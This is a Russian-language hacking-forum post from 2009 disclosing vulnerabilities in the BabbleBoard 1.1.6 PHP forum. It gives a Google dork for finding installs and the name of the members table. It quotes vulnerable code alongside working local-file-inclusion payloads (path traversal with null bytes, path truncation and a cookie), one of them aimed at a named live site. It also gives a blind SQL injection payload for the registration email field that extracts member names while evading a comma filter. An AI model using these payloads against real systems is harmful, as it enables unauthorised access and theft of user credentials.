Показать сообщение отдельно

  #48  
Старый 18.11.2009, 03:01
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами: 9780227

Репутация: 1423
По умолчанию

BabbleBoard 1.1.6

Сайт: http://www.babbleboard.co.uk/
Табличка с юзерами: members (name, password)
Дефолтовый префикс: babbleboard_
дорк: "Powered by BabbleBoard"

Гугл выдал пару xss и csrf. Если я набоянил тут – сори

Множественные LFI’и , вот некоторые

mycontrols.php ( нужно быть зарегенным )
PHP код:
include "includes/pages/mycontrols/" $_GET['act'] . ".php"
index.php?page=mycontrols&act=../../../../robots.txt%00



admin.php ( нужно быть админом)
PHP код:
include "includes/pages/admin/" $_GET['act'] . ".php"
index.php?page=admin&act= ../../../../robots.txt%00



header.php
PHP код:
if (isset($_COOKIE['bb_lang']) && (!isset($_COOKIE['bb_name']))) {
    
$board_lang $_COOKIE['bb_lang'];

// Get language files...
include "lang/$board_lang/lang_forum.php"
Редактируем куки bb_lang=../../../../../robots.txt%00


structure.php
PHP код:
    $page $_GET['page'];
    
$page escape_string($page);

    elseif (@include (
"includes/pages/$page.php")) 
site.com/forum/index.php?page=../../../../robots.txt/././.[...]


Пример: http://else-design.info/forum/index.php?page=../../../../robots.txt/././././.[...]/./.




SQL-injection
При меджик_квотес офф

Уязвимый код:
register.php
PHP код:
} elseif ($_POST['form'] != '') {
$query_email "select EMAIL from {$db_prefix}members WHERE EMAIL='".$_POST['email']."'";
                    
$result_email mysql_query($query_email) or die("register.php - Error in query: $query_email");
                    
$email_clash mysql_num_rows($result_email); 
Эксплуатировать инъекцию можно при регистрации, вставляя свой скл-код в поле email. Правда там есть такой злобный жаваскриптовский фильтр, который не даст нам зарегится, пока мы не удовлетворим его условия. В частности он проверяет чтобы был символ @ и не было запятых =) Можно отправить пакет вручную или состряпать например такой няшный запрос, чтобы обойтись без запятых


Цитата:
filter@fuckoff'/**/or/**/(case/**/when/**/ascii(substring((select/**/name/**/from/**/babbleboard_members/**/limit/**/1/*
*/offset/**/0)/**/from/**/1/**/for/**/1))>97/**/then/**/'1'/**/else/**/(select/**/1/**/union/**/select/**/2)/**/end)='1

Последний раз редактировалось ElteRUS; 18.11.2009 в 15:07..
 
Ответить с цитированием